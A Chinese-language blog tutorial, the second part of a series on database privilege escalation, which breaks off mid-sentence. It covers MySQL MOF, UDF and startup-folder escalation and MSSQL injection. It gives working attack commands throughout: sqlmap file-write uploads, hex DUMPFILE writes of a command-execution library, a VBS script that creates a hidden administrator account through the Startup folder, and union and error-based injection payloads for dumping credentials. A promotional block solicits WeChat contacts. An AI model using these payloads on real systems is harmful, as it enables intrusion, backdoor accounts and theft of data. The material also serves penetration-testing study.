數據庫注入提權總結(二)

mysql提權

MOF提權

MOF 提權是一個有歷史的漏洞,基本上在 Windows Server 2003的環境下才可以成功。

提權的原理是C:/Windows/system32/wbem/mof/目錄下的 mof文件每 隔一段時間(幾秒鐘左右)都會被系統執行,因爲這個 MOF 裏面有一部分是 VBS 腳本,所以可以利用這個 VBS 腳本來調用 CMD 來執行系統命令,如果 MySQL 有權限操作 mof目錄的話,就可以來執行任意命令了。

經測試win7雖然存在這個文件目錄,但是mysql以管理員權限運行,也會提示寫入失敗。

UDF提權

UDF說白了就是自定義函數,是數據庫功能的一種擴展。用戶通過自定義函數可以實現在 MySQL 中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像調用本機函數 version() 等方便。

如果我們添加的自定義函數可以執行系統命令,那麼是不是就相當於以mysql的權限去執行系統命令,如果mysql的權限比較高,是不是就可以達到一種權限提升的效果

動態鏈接庫

構建UDF的過程,其實就是調用動態鏈接庫的過程,因此我們首先必須知道動態鏈接庫存放的位置,以及要有合適的動態鏈接庫

  • 如果mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下

  • 如果mysql版本小於5.1,udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄

show variables like '%plugin%'; # 查找插件目錄
select @@basedir; # 查找 mysql 安裝目錄

那麼動態鏈接庫文件去哪裏找呢?實際上我們常用的工具 sqlmap 和 Metasploit 裏面都自帶了對應系統的動態鏈接庫文件。

  • sqlmap 的 UDF 動態鏈接庫文件位置 sqlmap根目錄/data/udf/mysql

image-20220729170857874.png

不過 sqlmap 中 自帶這些動態鏈接庫爲了防止被誤殺都經過編碼處理過,不能被直接使用。不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置爲:/extra/cloak/cloak.py ,解碼方法如下:

# 解碼 32 位的 Linux 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解碼 64 位的 Linux 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解碼 32 位的 Windows 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解碼 64 位的 Windows 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
  • Metasploit的UDF動態鏈接庫文件位置/usr/share/metasploit-framework/data/exploits/mysql

image-20220729171316655.png

  • 兩款工具帶的動態鏈接庫是一樣的

尋找插件目錄

image-20220729171719574.png

如果不存在的話

select @@basedir; # 尋找MySQL的安裝目錄

image-20220729171944681.png

然後通過webshell手動去創建

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

寫入動態鏈接庫

方法一:

當SQL 注入且是高權限,plugin 目錄可寫且需要 secure_file_priv 無限制,MySQL 插件目錄可以被 MySQL 用戶寫入,這個時候就可以直接使用 sqlmap 來上傳動態鏈接庫,又因爲 GET 有字節長度限制,所以往往 POST 注入纔可以執行這種攻擊

sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

方法二:

當沒有注入點時,我們可以操作原生 SQL 語句,這種情況下當 secure_file_priv 無限制的時候,我們也是可以手工寫文件到 plugin 目錄下的:

# 直接 SELECT 查詢十六進制寫入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解碼十六進制再寫入多此一舉
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

這裏的十六進制怎麼獲取呢?可以利用 MySQL 自帶的 hex 函數來編碼:

# 直接傳入路徑編碼
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以將路徑 hex 編碼
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

一般爲了更方便觀察,可以將編碼後的結果導入到新的文件中方便觀察:

SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

方法三:

當webshell有一定權限時,可以直接通過文件上傳的方式,上傳對應的dll文件

創建自定義函數並調用命令

  • CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

image-20220729173706770.png

  • select * from mysql.func; 驗證是否添加成功

image-20220729173831057.png

  • 調用該函數,即可以mysql權限執行一些系統命令

image-20220729173940681.png

  • 刪除自定義函數 drop function sys_eval;

image-20220729174144085.png

UDF Shell

方法一:UDF.PHP

http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF

image-20220729174637834.png

方法二:ntunnel_mysql.php

Navicat內置的php-mysq鏈接文件,上傳到目標網站

image-20220729174744518.png

對navicat進行如下配置即可:

image-20220729175208161.png

方法三:蟻劍內置插件

image-20220729175320157.png

啓動項提權

windows開機時候都會有一些開機啓動的程序,那時候啓動的程序權限都是system,因爲是system把他們啓動的,利用這點,我們可以將自動化腳本寫入啓動項,達到提權的目的。當 Windows 的啓動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啓動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。

在windows2003的系統下,啓動項路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動
C:\Documents and Settings\All Users\「開始」菜單\程序\啓動

在windows2008的系統下,啓動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啓動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。

這裏使用test.vbs添加用戶密碼,上傳到啓動目錄重啓的時候即可自動添加賬號密碼

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

通過mysql的話:

use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啓動\secist.vbs”;

重啓之後可以提權

CVE-2016-6663和CVE-2016-6664

https://www.freebuf.com/articles/web/288941.html

https://lengjibo.github.io/mysqludf/

MSSQL

MSSQL基礎

系統自帶庫

MSSQL安裝後默認帶了六個數據庫

  • 4個系統庫:mastermodeltempdbmsdb

  • 2個示例庫:NorthwindTraderspubs

image.png

系統視圖表

MSSQL數據庫有安裝的自帶數據表:

image.png

 

MSSQL權限控制

  • 服務器角色

 

image.png

可以通過如下語句判斷:

select is_srvrolemember('sysadmin')

image-20220801134847650

  • 數據庫角色

 

image.png

可以通過如下語句判斷:

select is_member('db_owner')

image-20220801154235249

MSSQL常用語句

# 創建數據庫
create database [dbname];
create database test;

# 刪除數據庫
drop database [dbname];
drop database test;

# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇數據庫,默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);

# 刪除新表
drop table table_name;
drop table dbo.admin;

# 向表中插入數據
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);

# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;

# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;

# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
  • 排序&獲取下一條數據

    • MSSQL數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,

    • 使用 <> 來排除已經顯示的數據,獲取下一條數據,也就是不等於的意思。

    • 使用not in來排除已經顯示的數據,獲取下一條數據 ,後面可以跟一個集合。

# 使用<>獲取數據
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取數據
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+

MSSSQL註釋

單行:--空格
多行:/**/

常用函數

image.png

 

常見注入類型

聯合查詢注入

1.判斷注入點及類型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那麼此處是字符型注入,需要單引號閉合

2.判斷字段數
?id=1' order by 3--+
?id=1' order by 4--+

3.聯合查詢判斷回顯點
?id=0' union select 1,2,3--+

4.獲取當前數據庫名字和版本信息
?id=0' union select 1,db_name(),@@version--+

5.獲取所有的數據庫名,database在較高版本的SQL Server 中已經變成了動態視圖
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+

6.獲取所有的表名,當information前面沒有庫名時,默認查詢當前數據庫,與mysql不同,每個數據庫都有單獨的information表,可以用master.information_schema.tables 來查詢不同數據庫的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+

7.獲取所有的字段名,多加些限定條件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+

?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--

8.獲取users表賬號密碼信息
?id=0' union select top 1 1,username,password from users--+

報錯注入

  • MSSQL數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入

1.判斷注入點
id=1

2.判斷是否爲MSSQL數據庫
# 返回正常爲MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)

3.判斷數據庫版本號
id=1 and @@version>0--+
# @@version是mssql的全局變量,@@version>0執行時轉換成數字會報錯,也就將數據庫信息暴露出來了,必須是在where後面拼接執行

4.獲取當前數據庫名
and db_name()>0--+
and 1=db_name()--+
# 報錯注入的原理就是將其他類型的值轉換層int型失敗後就會爆出原來語句執行的結果

5.判斷當前服務器擁有的權限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+

6.判斷當前角色是否爲DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner權限可以通過備份方式向目標網站寫文件

7.獲取當前用戶名
and user_name()>0--+

8,獲取所有數據庫名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值來獲取所有的數據庫

9.獲取數據庫的個數
and 1=(select quotename(count(name)) from master.sys.databases)--+

10.一次性獲取所有數據庫庫
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+

11.獲取所有的表名
# 獲取當前庫第一個表
and 1=(select top 1 table_name from information_schema.tables)--+
# 獲取當前庫第二個表
and 1=(select top 1 table_name from information_schema
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章